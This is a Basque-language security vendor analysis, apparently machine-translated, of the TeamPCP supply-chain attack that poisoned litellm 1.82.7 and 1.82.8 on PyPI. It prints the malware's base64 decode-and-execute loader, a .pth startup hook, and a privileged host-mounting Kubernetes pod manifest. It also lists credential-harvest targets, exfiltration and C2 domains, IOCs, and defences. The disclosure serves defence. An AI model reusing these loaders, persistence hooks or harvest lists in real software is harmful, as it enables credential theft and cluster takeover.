LiteLLM Hornikuntza Katearen Erasoa

LiteLLM Hornikuntza Katearen Erasoa: Nola TeamPCP-k AI Azpiegitura Atzetik Egin Duen

Zergatik hau Matters

2026ko martxoaren 24an, Python pakete ezaguna litellm, milaka erabiltzailek erabiltzen duten LLM proxy atebide unibertsala enterpriseAplikazioen eta OpenAI, Anthropic, Google eta AWS Bedrock bezalako IA hornitzaileen arteko trafikoa bideratzeko programa bat isilean konprometitu zen PyPI-n. Bi bertsio pozoitu (1.82.7 eta 1.82.8) argitaratu ziren elkarrengandik 13 minutura, kredentzialak lapurtzen, hodeiko sekretuak ateratzen, Kubernetes klusterren artean alboetara hedatzen eta urruneko kodea exekutatzeko gaitasunak zituen atzeko ate iraunkor bat instalatzen zuena.

Gutxi gorabehera 3.6 milioi deskarga egunero eta hodeiko AI azpiegituretan zehar hedapen sakona eginez, litellm erasotzaile modernoek nahi duten guztiaren bidegurutzean dago: AI hornitzaile nagusi guztien API gakoak, hodeiko IAM kredentzialak, Kubernetes sekretuak eta SSH gakoak.

Baina litellm-en konpromisoa ez zen gertaera isolatu bat izan. Horren gailurra izan zen bost eguneko, bost ekosistemen kanpaina izeneko mehatxu-eragile batek TeamPCP, lehenik segurtasun-eskanerrak (Aqua Trivy, Checkmarx KICS) pozoitu zituen kanpaina bat, eta gero lapurtutakoak erabili zituen CI/CD kredentzialak npm, OpenVSX eta azkenik PyPI-ra jauzika eramateko. Erasotzaileek erakundeek beren hornidura-kateak babesteko erabiltzen dituzten tresnak berak armatu zituzten.

Eraso honek hornidura-katearen mehatxuen sofistikazioan urrats aldaketa bat adierazten du. Jauzi anitzeko eta ekosistema gurutzatuen diseinuak segurtasun-tresnak arriskuan jartzen ditu balio handiko helburuak lortzeko. IA azpiegitura, gero eta gehiago erabiltzen diren eraso-tresnekin bat datorren plangintza- eta eragiketa-heldutasun maila islatzen du. Kargak denbora errealean iterazioak egin ziren (hiru karga-aldaera agertzen dira iturburu-kodean, aurreko bertsio komentatu gabeak barne), C2 azpiegitura erasoa baino egun bat lehenago erregistratu zen, eta exfiltrazio-domeinuak arretaz aukeratu ziren saltzaileen azpiegitura legitimoak imitatzeko. Kredentzial-biltzaile sistematikoki integralak, 15 kategoria baino gehiago hartzen dituenak, Cardano sinatzeko gakoak eta WireGuard konfigurazioak bezalako nitxo-helburuak barne, IA bidezko malwarearen garapena indar-biderkatzaile gisa seinalatzen duen zehaztasun-maila bat iradokitzen du.

Timeline

Data (UTC) Gertaera
martxoaren 19 TeamPCP-k Aqua Trivy GitHub Ekintza etiketak arriskuan jartzen ditu, kanporatzen duen kode gaiztoarekin ordezkatuz. CI/CD beheko biltegietako sekretuak
martxoaren 21 Konpromisoa Checkmarx KICS eta AST GitHub Ekintzetara hedatzen da antzeko teknikak erabiliz.
Martxoak 22, 06:35 BerriAI-k litellm 1.82.6 (azken bertsio garbia) argitaratzen du normalaren bidez CI/CD pipeline segurtasun eskaneatzeko Trivy erabiltzen duena
martxoaren 23 TeamPCP-k models.litellm.cloud erregistratzen du (exfiltration domeinua). 66 npm pakete eta OpenVSX luzapen baino gehiago arriskuan jartzen ditu.
Martxoak 24, 10:39 litellm 1.82.7 PyPI-n argitaratua -- injektatutako karga proxy_server.py Moduluaren esparruan. Inportatzean exekutatzen da
Martxoak 24, 10:52 litellm 1.82.8 13 minutu geroago argitaratua -- gehitzen du litellm_init.pth, Python bideen konfigurazio-hook bat, Python interpretearen abiarazte guztietan exekutatzen dena, ez bakarrik litellm inportazioetan. Karga-iterazio azkarra erakusten du
Martxoak 24, ~16:00 PyPI-k bi bertsioak kentzen ditu komunitatearen txostenak egin ondoren. Bertsioak guztiz ezabatzen dira (ez ateratzen) indizetik, nahiz eta CDN tarball-ak eskuragarri jarraitzen duten.

Esposizio-leihoa: gutxi gorabehera 5.5 ordu. Denbora horretan, edozein pip install litellm, pip install --upgrade litellm, edo CI/CD pipeline azken bertsioa ateratzeak karga exekutatu egingo zukeen.

Nola sartu zen malwarea: kaskadako konpromisoa

litellm paketea ez zen zuzenean hautsi. Erasotzaileak bertara iritsi zen... bi jauziko hornidura-katearen erasoa:

Aqua Trivy GitHub Action (compromised March 19)     --> LiteLLM CI/CD pipeline runs Trivy without pinned version         --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner             --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI

LiteLLM-ak CI/CD pipeline Trivy segurtasun-eskaner gisa erabili zuen — ahultasunak detektatzeko diseinatutako tresna bera eraso-bektorea zen. Zeren eta pipeline Trivy erreferentziatu du etiketa aldagarri baten bidez, finkatu baten ordez commit SHA, ekintza kaltetua automatikoki exekutatu zen. Trivy ekintza gaiztoak inguruneko sekretuak atera zituen, besteak beste PYPI_PUBLISH tokena, TeamPCP-ri litellm PyPI proiekturako argitalpen zuzenerako sarbidea emanez.

"Zaindariak arriskuan jartzeko" estrategia hau TeamPCP kanpainaren ezaugarri nagusia da. Segurtasun tresnak lehenik (Trivy, Checkmarx KICS) erasotzaileek detekzioa desgaitu eta beheranzko hornidura-kateetarako sarbide pribilegiatua lortu zuten aldi berean.

Analisi Teknikoa: Karga Baliotsua

Injekzio puntuak

Bertsioa 1.82.7 — Modulu mailako exekuzioa litellm/proxy/proxy_server.py (128. lerroa):

import subprocess, base64, sys, tempfile, os  b64_payload = "<~12KB base64 blob>"  with tempfile.TemporaryDirectory() as d:     p = os.path.join(d, "p.py")     with open(p, "wb") as f:         f.write(base64.b64decode(b64_payload))     subprocess.run([sys.executable, p])

Kode hau hiztegi literal baten eta jatorrizkoaren arteko modulu-esparruan dago. showwarning() funtzioa. Berehala exekutatzen da litellm.proxy.proxy_server inportatzen da — eta hori litellm-en proxy funtzionalitatea erabiltzean gertatzen da.

Bertsioa 1.82.8 — Gehituta litellm_init.pth (Python bidearen konfigurazio fitxategia):

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) 

Python .pth fitxategi site-packages/ interpretearen abiaraztean prozesatzen dira, baina hasten diren lerroak bakarrik import kode gisa exekutatzen dira. Erasotzaileak hau aprobetxatzen du karga osoa kate bakarrean lotuz import adierazpena: import os, subprocess, sys; subprocess.Popen(...)Hau askoz oldarkorragoa da proxy_server.py injekzioa baino — litellm inportatzen ez bada ere pizten da, Python prozesu guztietan abiarazten baita. pyproject.toml aldatu egin da fitxategi hau banaketan sartzeko:

include = [     { path = "litellm_init.pth", format = ["sdist", "wheel"] } ]

1.82.8 bertsioak, beraz, bi exekuzio bide independenteproxy_server.py injekzioa (litellm proxy inportazioan abiarazten da) eta .pth fitxategia (edozein Python abiaraztean abiarazten da). Erredundantzia bera nabarmena da — bide horietako edozein detektatzearen edo kentzearen aurka babesten du. Inportazio-denboratik abiarazteko uneko exekuzio-denborara eskalatzeak 1.82.7 bertsioaren 13 minutura iradokitzen du erasotzailea hedapenaren arrakasta kontrolatzen ari zela eta azkar iteratzen ari zela.

1. etapa: Kredentzialen bilketa osoa

Barneko idazkera deskodetua kredentzial hutsune zorrotz bat da. Erabiltzen du os.walk()glob.glob()subprocess.check_output(), eta fitxategien irakurketa zuzenak sistema osoa arakatzeko:

Kategoria Helburuak
Sistemaren berregokitzapena hostname, whoami, uname -a, ip addr, printenv, ip route
SSH ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; ostalariaren gakoak hemendik /etc/ssh/
Hodeia (AWS) ~/.aws/credentials, ~/.aws/configIMDS rolaren kredentzialak honen bidez 169.254.169.254Sekretuen kudeatzailea ListSecrets; SSM DescribeParameters
Hodeia (GCP) ~/.config/gcloud/ (errekurtsiboa); $GOOGLE_APPLICATION_CREDENTIALS
Hodeia (Azure) ~/.azure/ (errekurtsiboa); ingurune-aldagaiak
Kubernetes Zerbitzu kontuaren tokenak; ca.crt; izen-espazioa; kubectl get secrets --all-namespaces; sekretu guztiak K8s APIaren bidez
Ingurumen fitxategiak .env, .env.local, .env.production, .env.development, .env.staging — errekurtsiboki bilatu da (6. sakonera) zehar /home, /root, /opt, /srv, /var/www, /app, /data, /tmp
Docker ~/.docker/config.json, /kaniko/.docker/config.json
Pakete-tokenak ~/.npmrc, ~/.vault-token, ~/.netrc
Datu-baseak ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, MongoDB konfigurazioak
TLS / SSL Gako pribatuak hemendik /etc/ssl/private/, Ziurtagiri guztiak enkripta ditzagun .pem/.key/.p12/.pfx fitxategiak
Git ~/.git-credentials, ~/.gitconfig
CI/CD terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg
Kripto-zorroak Bitcoin, Ethereum giltza-biltegia, Solana giltza-pareak (balidatzailea, botoa, partaidetza, txorrota), Cardano sinatzeko giltzak, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero
Shell-en historia .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history
Sistemaren baimen-mezu /etc/passwd, /etc/shadow, autentifikazio erregistroak (onartutako SSH saioak)
Webhook/API gakoak Grep Slack weberakohooks, Discord webguneahooks, API gakoak/sekretuak konfigurazio fitxategietan
VPN WireGuard konfigurazioak hemendik: /etc/wireguard/

Biltzaile honen esparrua entziklopedikoa da. Ez ditu hodeiko kredentzialak bakarrik hartzen helburu, baita kriptografia-zorroak, datu-baseen pasahitzak, VPN konfigurazioak eta abar ere. CI/CD sekretuak — erasotzaileak bektore anitzetan zehar sistema konprometituak monetizatu nahi dituela iradokitzen du.

2. etapa: Enkriptatutako desfiltrazioa

Lapurtutako datuak enkriptatu eta kanporatzen dira enkriptazio-eskema hibrido bat erabiliz:

  • AES-256-CBC bildutako datu guztien enkriptazioa 32 byteko saio-gako ausazko batekin (bidez openssl enc)
  • RSA-4096 saio-gakoaren enkriptatzea erasotzailearen txertatutako gako publikoa erabiliz (OAEP betegarria, bidez) openssl pkeyutl)
  • Bi zifratutako testu fitxategiak multzokatuta tpcp.tar.gz (Du tpcp aurrizkia — “TeamPCP” — etengabe agertzen da kanpaina osoan zehar)
  • HTTPS POST-era https://models.litellm.cloud/ batera Content-Type: application/octet-stream

Domeinua models.litellm.cloud martxoaren 23an erregistratu zen —erasoa baino egun bat lehenago— eta litellm azpiegitura legitimoekin nahasteko diseinatuta dago (benetako proiektuak erabiltzen du litellm.ai). Irteerako trafikoa berrikusten duen sare-ezagun defendatzaile batek ere ez du trafikoa litellm-en beraren modeloaren amaiera-puntua dirudienera markatuko.

3. etapa: Atzeko ate iraunkorra (sysmon.py)

Kargak sistemaren telemetria gisa mozorrotutako atzeko ate bat instalatzen du:

  • Path~/.config/sysmon/sysmon.py
  • zerbitzuasysmon.service (systemd erabiltzaile unitatea, "Sistemaren Telemetria Zerbitzua" bezala deskribatua)
  • BehaviorHasierako 300 segundoko loaldiaren ondoren, inkestak https://checkmarx.zone/raw ~50 minuturo
  • ExecutionC2-k itzulitako URLa deskargatzen du /tmp/pglog, exekutagarri bihurtzen du (chmod 755), saio bereizi batean exekutatzen du
  • Estatuaren jarraipena/tmp/.pg_state karga bera berriro deskargatzea eragozten du
  • IraunkortasunaRestart=alwaysRestartSec=10 — istripuak eta berrabiarazteak gainditzen ditu

Domeinua checkmarx.zone Checkmarx-en (segurtasun enpresa) typosquat bat da checkmarx.com), sareko erregistroak berrikusten dituzten SOC analistek segurtasun-saltzaile legitimo baten trafikoa ikus zezaten diseinatua. Hau saihesteko teknika nahita bat da, TeamPCP-ren segurtasun-saltzaileen markaren atzean ezkutatzeko estrategia zabalagoarekin bat datorrena.

3b etapa: Kubernetes alboko mugimendua

Sistema kaltetuak Kubernetes zerbitzu-kontuaren kredentzialak baditu, malwareak kluster-nodo guztiak zerrendatzen ditu eta inplementatzen du. pod pribilegiatuak bakoitzari:

pod_manifest = {     'apiVersion': 'v1', 'kind': 'Pod',     'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},     'spec': {         'nodeName': node_name,         'hostPID': True, 'hostNetwork': True,         'tolerations': [{'operator': 'Exists'}],         'containers': [{             'name': 'setup',             'image': 'alpine:latest',             'command': ['sh', '-c', drop_cmd],             'securityContext': {'privileged': True},             'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]         }],         'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],         'restartPolicy': 'Never'     } }

Pod bakoitza:

  • Honela exekutatzen da pribilegiatu batera hostPIDhostNetwork, eta ostalariaren fitxategi-sistemaren sarbide osoa
  • erabilerak chroot /host gauza bera instalatzeko. sysmon.py atzeko atea ostalariaren erroko fitxategi-sisteman
  • Systemd zerbitzu gisa erregistratzen du, iraunkortasunak pod ezabatzearen ondoren ere iraun dezan.
  • izeneko node-setup-* in the kube-system izen-espazioa kluster azpiegitura legitimo gisa agertzeko

Horrek esan nahi du bakarra konprometituta CI/CD K8s sarbidea duen korrikalariak klusterreko nodo guztiak atzeko atean sartzea eragin dezake. — Kubernetes-en litellm proxy gisa erabiltzen duten erakundeentzako alboko mugimenduen eszenatoki katastrofikoa.

Karga erabilgarriaren bilakaera (komentatutako aldaerak)

131-132 lerroetako iturburu-kodeak bi aldaera lehenagoko iruzkinduak ditu, erasotzailearen garapen-prozesua agerian utziz:

  • Hiru aldaera guztiak kanporatze azpiegitura bera partekatzen dute (models.litellm.cloud), RSA-4096 gako publikoa, AES-256-CBC + RSA enkriptazio hibridoaren bilgarria, eta tpcp.tar.gz multzoen izendapena
  • Aurreko aldaerak gehitu zuen bat RC4 enkriptazio geruza datuak biltzeko script-aren barruan, bildutako datuak enkriptatuz kanpoko AES+RSA bilgarriaren aurretik. Karga aktiboa (130. lerroa) sinplifikatu egin da barneko RC4 geruza hau kenduz.
  • Aurreko aldaerek erabiltzen dute exec() batera StringIO biltzailea prozesuan exekutatzeko harrapaketa, karga aktiboak erabiltzen duen bitartean subprocess.run() stdout birbideratzearekin — ostalari prozesua kutsatzea saihesten duen bereizketa garbiago bat
  • Hiru aldaera guztiek kredentzial kategoria eta bilketa bide berdinak dituzte helburu
  • Aurreko aldaeretan RC4 tekla irain probokatzailea zen, aktorearen Telegramen arreta bilatzeko portaerarekin bat zetorrena.

Honek eragiketan zehar garapen aktiboa izan dela erakusten du. Erasotzaileak enkriptazio pila sinplifikatu eta exekuzio isolamendua hobetu zuen, bilketa helburuak eta kanporatze azpiegitura egonkor mantenduz.

Konpromisoaren Adierazleak (KOA)

Sarea

Adierazlea Mota Helburua
models.litellm.cloud domeinu Infiltrazio amaierako puntua (HTTPS POST)
checkmarx.zone domeinu C2 galdeketa-muturra (HTTPS GET /raw)

Oharra: Kanpoko txostenetarako estekak checkmarx.zone/static/checkmarx-util-1.0.4.tgz TeamPCP kanpainaren aurreko KICS faseari. URL hau ez da aurkitu hemen aztertutako litellm karga-kargetan.

Paketeen hashak

File SHA256
litellm-1.82.7.tar.gz 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea
litellm-1.82.8.tar.gz d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5

Fitxategi Sistema

Adierazlea Mota Helburua
~/.config/sysmon/sysmon.py File Atzeko atearen script iraunkorra
~/.config/systemd/user/sysmon.service File Systemd iraunkortasun unitatea
/tmp/pglog File Bigarren faseko binario deskargatua
/tmp/.pg_state File C2 egoeraren jarraipena
litellm_init.pth in site-packages/ File Python abiarazte-hooa (1.82.8 bertsioa bakarrik)
tpcp.tar.gz File Enkriptatutako kanporatze-sorta

Kubernetes

Adierazlea Mota Helburua
node-setup-* lekak barruan kube-system Pod Alboko mugimendu pribilegiatuko podak
sysmon.service kluster nodoetan zerbitzua Ostalari-mailako iraunkortasuna pod ihesbidearen bidez

Kriptografikoa

Adierazlea Xehetasunak
Erasotzailearen RSA-4096 gako publikoa SHA256 hatz-marka: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Hiru karga-aldaera guztietan txertatuta; gako bera TeamPCP beste eragiketa batzuetan jakinarazi da.
tpcp artefaktuetan aurrizkia Multzoen izendapen-konbentzioa (tpcp.tar.gz) kanpaina osoan koherentea

Aitorpena: TeamPCP

Kanpaina honen atzean dagoen mehatxu-eragilea honela jarraitzen da: TeamPCP, PCPcat, Persy_PCP, ShellForce eta DeadCatx3 bezala ere ezaguna.

Ezaugarri ezagunak:

  • Telegram kanalak mantentzen ditu hemen: @Persy_PCP   @teampcp non segurtasun enpresak iseka egin zituzten
  • Hainbat ekosistematan funtzionatzen du (GitHub Actions, PyPI, npm, OpenVSX)
  • Kanpainaren fase bakoitzerako saltzaile espezifikoen typosquat domeinuak erabiltzen ditu (adibidez, checkmarx.zone Checkmarxentzat, models.litellm.cloud litellm-erako)
  • Azpiegitura-markatzaile koherenteak: RSA gako-pare bera, tpcp.tar.gz izendapen-konbentzioa, tpcp-docs-* GitHub biltegiak deaddrop staging gisa erabiliak
  • Segurtasun tresnak beheko hornidura-kateetarako sarrera-puntu gisa hartzen ditu jomugan

Atribuzioaren konfiantzaAltua. RSA gako publiko partekatua, tpcp Bost eguneko kanpainan zeharreko artefaktuen izendapenak, C2 azpiegituraren gainjartzeak eta eragiketa-erritmoak Trivy, KICS, npm, OpenVSX eta litellm konpromisoak aktore berarekin lotzen dituzte.

MotibazioaSeguruenik finantzarioak (kripto-zorroen lapurreta, hodeiko kredentzialen monetizazioa) eta ospea konbinatuta (Telegram-en iseka). Kredentzialen bilketaren zabalerak —AWS IAM-etik hasi eta Solana balidatzailearen gako-pareetaraino eta WireGuard konfigurazioetaraino— iradokitzen du finantza-motibazioko aktore bat konpromiso bakoitzetik ROI maximizatzea bilatzen ari dela.

Balizko IA laguntzaKredentzial biltzailea sistematikoki osoa da — 15 kategoria baino gehiago barne, Cardano sinadura-giltzak, WireGuard konfigurazioak eta Kaniko Docker kredentzialak bezalako nitxo-helburuak — IA bidezko zenbaketarekin koherentea den moduan. Karga-iterazioen abiadura (hiru aldaera enkriptazio-eskema desberdinekin), ekosistemen arteko koordinazioa (5 ekosistema 5 egunetan) eta OPSEC operatiboak (saltzailearen ordezkapen-domeinuak, enkriptazio hibridoa, telemetria gisa mozorrotutako systemd iraunkortasuna) IA bidezko garapena indar-biderkatzaile gisa islatu dezakeen errendimendu-maila bat iradokitzen dute. Ebaluazio hau espekulatiboa da; operadore trebeek antzeko irismena lor dezakete IA tresnik gabe.

TTP eta teknika berriak

1. Segurtasun Tresnen Hornikuntza Katearen Intoxikazioa (T1195.002 aldaera)

Segurtasun-eskanerrak (Trivy, KICS) arriskuan jartzea, beheranzko helburuetara iristeko lehen jauzi gisa, eskalada berri bat da. Erasotzaileak ez zuen liburutegi bat bakarrik arriskuan jarri, erakundeek horretarako erabiltzen dituzten tresnak ere arriskuan jarri zituen. detektatzeko liburutegi kaltetuak. Honek puntu itsu bat sortzen du: kode gaiztoa detektatu beharko lukeen eskanerra bera da banaketa-mekanismoa.

2. Python .pth Fitxategien Iraunkortasuna (T1546)

The litellm_init.pth 1.82.8 bertsioko teknika bereziki maltzurra da. Python .pth fitxategi site-packages/ interpretearen abiaraztean prozesatzen dira; hasten den edozein lerro import kode gisa exekutatzen da. Karga bakar batean kateatuz import adierazpena erabiliz, erasotzaileak Python prozesu guztietan exekuzioa lortzen du — ez bakarrik litellm inportatzen denean. Horrek esan nahi du karga piztu egiten dela litellm instalatuta egon arren baina inoiz erabili gabe, eta kaltetutako fitxategia ordezkatzen duen konponketa gaindituko duela. .py fitxategiak egiaztatu gabe .pth fitxategiak.

3. Kubernetes Kluster Osoko Alboko Mugimendua Pod Pribilegiatuen Hedapenaren bidez (T1610, T1611)

Kluster nodo guztietan pod pribilegiatuen sorrera automatizatua — honekin hostPIDhostNetwork, ostalariaren fitxategi-sistemaren muntaketa, eta chroot iraunkortasuna instalatzeko — edukiontzien hedapena (T1610) kateatzen du ostalarirako ihesarekin (T1611), konprometitutako lan-karga bakarra kluster oso baten konprometitze bihurtzeko.

4. Saltzailea ordezkatzea C2 azpiegitura

erabiliz models.litellm.cloud (litellm imitatzen du) eta checkmarx.zone (Checkmarx imitatzen du) C2/exfil amaierako puntuak sarearen monitorizazioa saihesteko diseinatuta daudelako. Irteerako trafikoa berrikusten duten SOC analistek HTTPS konexioak ikusiko lituzkete itxuraz saltzaileen domeinu legitimoetara.

5. Hegaldiko kargaren iterazio azkarra

1.82.7 bertsioa inportazio-garaian exekutatuz argitaratzeak, eta ondoren 1.82.8 bertsioa abiarazte-garaian 13 minutu geroago exekutatzeak, erasotzailea denbora errealean monitorizatzen eta egokitzen erakusten du. Iturburu-kodean gordetako aldaera iruzkinduek (enkriptatze-eskema desberdinekin) eragiketan zehar garapen aktiboa berresten dute.

Zer egin daiteke

Eraso honek konfiantza ustiatzen du geruza guztietan: segurtasun tresnetan konfiantza, pakete erregistroetan konfiantza, domeinu ezagunetan konfiantza, konfiantza CI/CD automatizazioa. Horren aurka defendatzeko, konfiantza-muga hauek guztiak gogortu behar dira:

Pakete Kontsumitzaileentzat

  • Pin mendekotasunak hasharen arabera, ez bertsioaren arabera soilik. pip install litellm==1.82.6 --hash=sha256:... bertsio konprometituen instalazioa eragotziko zukeen, azken bertsio gisa laburki agertu arren.
  • Erabili blokeo-fitxategiak. pip-compilepoetry.lock, eta uv.lock Bertsio eta hash zehatzak atzeman. CI/CD blokeo-fitxategietatik instalatu beharko litzateke, ez bertsio-espezifikatzaile flotatzaileetatik.
  • Monitorea egiteko .pth fitxategiak. Aldian-aldian auditoria egin site-packages/ ezustekorako .pth fitxategiak — Python abiarazte guztietan exekutatzen dira eta gutxietsitako iraunkortasun mekanismo bat dira.
  • Ezarri irteerako sareko kontrolak. Esfiltrazioa. models.litellm.cloud eta C2 galdeketa checkmarx.zone ekoizpen-inguruneetan baimendutako zerrendetan oinarritutako irteera-iragazkiak harrapatu izana gerta zitekeen.

Paketeen mantentze-lanetarako

  • Pin CI/CD ekintzak commit SHA, ez etiketa. LiteLLM-ak pipeline Trivy erabili zen finkatutako bertsiorik gabe. Erreferentziatu izan balu aquasecurity/trivy-action@<commit-sha> ordez @latest, kaltetutako ekintza ez zen gauzatuko.
  • Erabili iraupen laburreko eta esparru mugatuko argitalpen-tokenak. PyPI-k Argitaratzaile Fidagarriak (OIDC oinarridunak) eta esparru mugatuko API tokenak onartzen ditu. Kanporatutakoak PYPI_PUBLISH tokenak ez zuen izan behar iraupen luzeko eta mugarik gabeko argitalpen sarbiderik.
  • Gaitu bi faktoreko autentifikazioa PyPI-n. Eskatu 2FA mantentze-langile guztientzat eta erabili hardwarearen segurtasun-giltzak ahal den guztietan.
  • Sinatu paketeak. Sigstore/PEP 740 ziurtagiriek kontsumitzaileei egiaztatzeko aukera ematen diete pakete bat aurreikusitako epean eraiki dela. CI/CD pipeline, ez lapurtutako token bat duen erasotzaile batek.

Plataforma Operadoreentzat (PyPI, npm, GitHub)

  • Argitalpen-eredu anomaloak detektatu. Ohi baino IP edo token desberdin batetik 13 minutuko tartearekin argitaratutako bi bertsio berrik berrikusteko zain egotea edo eskaneatzea eragin beharko lukete paketea instalatu ahal izan aurretik.
  • Argitaletxe Fidagarrien adopzioa bizkortu. OIDC oinarritutako argitalpenak paketeak biltegi eta lan-fluxu espezifikoetara lotzen ditu, lapurtutako tokenak jatorrizkotik kanpo alferrikakoak bihurtuz. CI/CD testuingurua.
  • Ezarri argitaratze-garaian malware eskaneatzea. proxy_server.py-ko base64 deskodetutako karga argitaratze unean analisi estatiko bidez detektatu ahal izango litzateke.

Ekosistemarentzat.

  • Segurtasun tresnak azpiegitura kritiko gisa hartu. Trivy eta Checkmarx KICS milioika pertsonek erabiltzen dituzte. pipelines. Haien GitHub Ekintzak eskaneatzen dituzten paketeen zorroztasun berarekin sinatu, finkatu eta kontrolatu beharko lirateke.
  • Inbertitu exekuzio-denbora detekzioan. Analisi estatikoak berak ezin ditu nahasmendu-teknika guztiak detektatu. Paketeen instalazioaren exekuzio-denboraren monitorizazioa hooks, sareko konexio ustekabeek eta fitxategietarako sarbide-eredu susmagarriek defentsa sakona eskaintzen dute.
  • Partekatu mehatxuen informazioa azkarrago. Litellm-en 5.5 orduko esposizio-leihoa laburragoa izan zitekeen saltzaileen arteko koordinazio azkarragoa izan balitz. Xygeni MEW, Socket eta Snyk bezalako eskaneatze-zerbitzu automatizatuek anomalia detektatu zuten; oztopoa gizakien baieztapena eta erregistroaren erantzun-denbora da.

Ondorioa

TeamPCP kanpaina mugarri bat da software supply chain securitySegurtasun-eskanerrak lehenik arriskuan jarriz eta balio handiko IA azpiegituretarako urrats gisa erabiliz, erasotzaileek frogatu zuten hornidura-katea bere menpekotasun trantsizional ahulena bezain sendoa dela, eta menpekotasun hori izan daitekeela zure segurtasuna bermatzeko konfiantzazko segurtasun-tresna.

Litellm konpromisoak bereziki nabarmentzen du AI azpiegiturarentzat gero eta arrisku handiagoa dagoela. LLM proxy atebideak bihurtzen diren heinean... standard eredua enterprise AIaren hedapenean, API gakoetarako, hodeiko kredentzialetarako eta datu sentikorretarako sarbidea osagai bakarrean kontzentratzen dute. Osagai hori arriskuan jartzea AI pila osoaren eskeleto-giltza da.

5.5 orduko leihoan litellm 1.82.7 edo 1.82.8 instalatu duten erakundeek kredentzial osoaren konpromiso gisa hartu beharko lukete hau: kaltetutako sistemetako sekretu guztiak txandakatu, Kubernetes klusterrak ikuskatu... node-setup-* lekak barruan kube-system, kendu edozein sysmon.service systemd unitateak, eta egiaztatu litellm_init.pth Pythonen site-packages/ direktorioak. Docker irudi ofizialaren erabiltzaileak (ghcr.io/berriai/litellm) ez ziren eraginpean egon, irudiak bere menpekotasunak finkatu baitzituen eta ez baitzen esposizio-leihoan berreraiki.

Egilea buruz

Sortzailekidea eta CTO

Luis Rodriguez Xygeni Security-ko sortzailekidea eta CTOa da. Aplikazioen segurtasunean 20 urte baino gehiagoko esperientziarekin, AppSec babesean eta taldeei benetako entrega-arriskua murrizten laguntzen dieten kode-analisi aurreratuko gaitasunetan jartzen du arreta.

 
sca-tools-software-konposizio-analisi-tresnak
Lehentasuna eman, konpondu eta babestu zure software arriskuak
Lortu zure doako kontua.
Ez da beharrezkoa kreditu txartelik.

Ziurtatu zure softwarearen garapena eta entrega

Xygeni produktu multzoarekin